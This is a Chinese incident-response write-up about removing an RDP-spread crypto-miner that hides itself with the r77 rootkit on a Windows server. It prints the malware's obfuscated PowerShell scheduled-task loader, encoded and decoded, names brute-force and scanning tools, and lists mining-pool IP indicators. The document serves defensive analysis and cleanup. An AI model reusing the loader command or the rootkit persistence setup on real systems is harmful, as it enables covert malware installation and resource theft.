一、背景介绍
在上次处理完多起Linux warmup挖矿病毒应急响应时间后,随后又在4月初接到另一个客户网络中又有类似的病毒,外连的矿池IP与之前的warmup矿池IP十分相像,但这次的中毒主机是windows server的,传播方式,从原来的SSH爆破,变成了RDP爆破扩散,感觉这个病毒的作者比较热衷于通过弱密码传播,但不得不说这确实是一种很有效的方法。
二、事件描述
通过前期的溯源,了解到这次失陷的根本原因是内网有台windows server服务器的3389端口被映射到公网,密码还是弱密码。而在后续的分析中,也发现此次病毒的传播方式是通过RDP爆破的方式进行传播,相较于之前Linux通过库劫持和写入各种计划任务作为权限维持外,Windwos的权限维持的方式是通过一个叫 R77-rootkit工具做的,将病毒的进程、启动项、服务、文件等做了内核隐藏,用来躲避检测和查杀。
三、应急响应过程
3.1 应急分析
1).还是跟之前一样,在排查的时候发现主机的CPU和内存并没有那个进程占用较高,但在看网络连接时,却看到有个svchost.exe PID:9908 的进程一直在外连5.133.65.56,且自身开启了703。
看过之前应急的小伙伴们应该会知道,该病毒会打开757端口和703端口用来做端口转发,同时还可在病毒横行内网时,用来探测该端口,了解到目标主机是否已经中招。
2).老规矩,先把各启动项、服务、计划任务、账户什么的都检查一边,看看能不能发现一些异常。
果然,在计划任务中发现如下2个可以的计划任务,用来执行powershell脚本。
命令如下,可以看到,里面很多的关键字符串都被做了编码混淆,用来绕过安全软件的拦截防护:
"powershell" [Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+'7'+''+'s'+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
解码后内容如下:
"powershell"
[Reflection.Assembly]: :Load(Microsoft.Win32.Registry::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)
3).根据如上特征,我们发现这是一个github上的rootkit工具,经了解这是一个名为r77的ring 3 Rootkit,它可以隐藏指定的文件、目录、连接、计划任务、注册表项、CPU使用率等等。
注意:该工具的使用详情,和各功能点,大家可以自行上github上查看,这里就不作详细介绍了,链接和该工具的官网(没错还有官网!)就给大家放这里了。
https://bytecode77.com/
https://github.com/bytecode77/r77-rootkit
4).通过上面r77 rootkit工具在github上介绍分析来看,当前主机上正在运行的恶意程序和挖矿程序等,很有可能是已经被隐藏起来了,想要删除的话,就必须先把这个rootkit工具卸载掉。
5).通过everything工具检索"$77"关键字发现存在如下恶意文件和目录:
这里不得不称赞一下everything工具的强大检索能力了。基于其强大的系统底层检索功能可以查看到隐藏的文件,实际上如下这些文件和目录,在windows操作系统中是看不到的。
C:\$77Chipset\...
C:\$77Drivers\...
C:\$77Module\...
C:\Program Files\Oracle\...
C:\Windows\System32\Tasks\$77svc64 (注入32位进程)
这些文件、目录,无疑都是r77 rootkit工具及其它的如挖矿程序、横向扩散模块等等,都使用了r77工具做了隐藏,这只需要在文件和目录前面添加“$77”前缀即可隐藏。
注意:上面这些通过everything工具检索出来的文件,通过everything自带的“打开路径”或“打开”是都无法正常打开的,系统会提示找不到该文件和路径。本来是准备直接运行$77_Uninstall.exe程序来卸载掉这个rookit,但是程序运行不了。(对,现在就只能这样干看着,想动动不了)
6).通过Github上的资料来看,在注册表HKEY_LOCAL_MACHINE\SOFTWARE\处有个$77config配置项,但在实际查找过程中,却没有找到,这里应该是被rootkit隐藏掉了。
7).后面在分析前svchost.exe PID:9908 的进程的内存时,果然发现C:\Program Files\Oracle...里的隐藏程序已经被调用执行。
被执行的powershell脚本。
8).在继续分析的时候,发现存在2个可疑账户:adm、adm$
其中adm账户存在明显的账户提权痕迹。
9).发现在该账户的桌面目录下,存在大量恶意文件,和各种攻击利用、扫描工具、挖矿程序,以及msi的病毒程序安装包。
如NLBrute工具(rdp爆破):
Ma_ss工具(Masscan扫描):
这个我就不翻github了吧,大家都知道,这是个端口扫描工具,可以发现它除了扫描3389端口外,还会扫描22端口的主机,这里应该是准备为Linux主机投毒准备。
实际是在处置的过程中也发现内网有些Linux主机中招了,但我们在上一次捕获中收集到了病毒样本,制作了对应的专杀脚本,可以直接查杀。
10).通过杀软检查其中Oracle.msi、Oracle - 副本.msi的安装包,发现存在大量的恶意文件。前缀都带有“77”特殊字符,且与之前everything检索出的程序文件名称符合。
这里判断,Oracle.msi安装包就是病毒的母体文件。
11).OffOn.ps1 powershell脚本。
分析的话,就暂且分析到这,接下来就看看我的处置方法吧......
3.2 应急处置
1).前面有提到过,本来打算使用C:\Program Files\Oracle$77_Uninstall.exe本地卸载程序来卸载r77 rootkit工具,但提示系统无法找到该文件和文件路径,也就是现在不仅没办法删除或操作这些隐藏的恶意文件,就连自身的r77 rootkit工具也无法直接卸载。
后面想了个方法,直接从github上下载一个新的r77 rootkit工具,提取其中的卸载工具,在失陷主机上运行卸载,看能不能卸载掉。
2).说干就干,这里不仅下载了个新的R77卸载工具,就连其Console控制台程序也复制过来了,准备看看上面运行了什么。
但是在运行中发现TestConsole控制台程序运行不了,不过在运行Uninstall.exe卸载程序后,就可以解除rootkit隐藏效果,系统中可以直接看到了,也能操作。
3).隐藏的恶意进程和恶意文件夹都可以看到了,以及一个$77ExeculeOracle的服务。
4).r77 rootkit隐藏效果解除或,直接运行C:\Program Files\Oracle$77_Uninstall.exe本机的r77 rootkit卸载工具,可以将该工具注入到系统的各启动项(包括计划任务、注册表项等)删除掉。
备注:这里还是用本地的卸载工具,之前github上的卸载工具只是解除了r77 rootkit的隐藏效果,各启动项和服务什么的都没清除掉。
5).其中$77_oracle.exe 进程对应的C:\Program Files\Oracle$77_oracle.exe文件其实是个挖矿程序,运行后可以看到不断外连5.133.65.x:14444矿池服务器。
6).查看C:\Program Files\Oracle\config.json配置文件,可以看到里面存在大量的矿池ip,说明这是一个挖矿程序的配置文件。
四、处置步骤总结
1)使用github上下载的r77 rootkit工具的卸载程序,解除目标主机rootkit隐藏效果。
2)运行C:\Program Files\Oracle$77_Uninstall.exe卸载工具,将可以直接卸载注入到系统上r77 rootkit的各计划任务、注册表项等。
3)结束注入的恶意进程$77_ExecuteOracle.exe、$77_Oracle.exe。
4)删除如下恶意文件、目录:
C:\$77Chipset\...
C:\$77Drivers\...
C:\$77Module\...
C:\Program Files\Oracle\...
C:\Windows\System32\Tasks\$77svc64 (注入32位进程,r77劫持文件)
C:\Windows\System32\Tasks\$77svc32 (注入64位进程,r77劫持文件)
5)删除$77ExecuteOracle服务
6)删除adm和adm$克隆账户。
7)删除adm用户目录下Desktop目录下的各种恶意文件。
五、IOC
5.133.65.54:80
5.133.65.53:14444
5.133.65.54:14444
5.133.65.55:14444
5.133.65.56:14444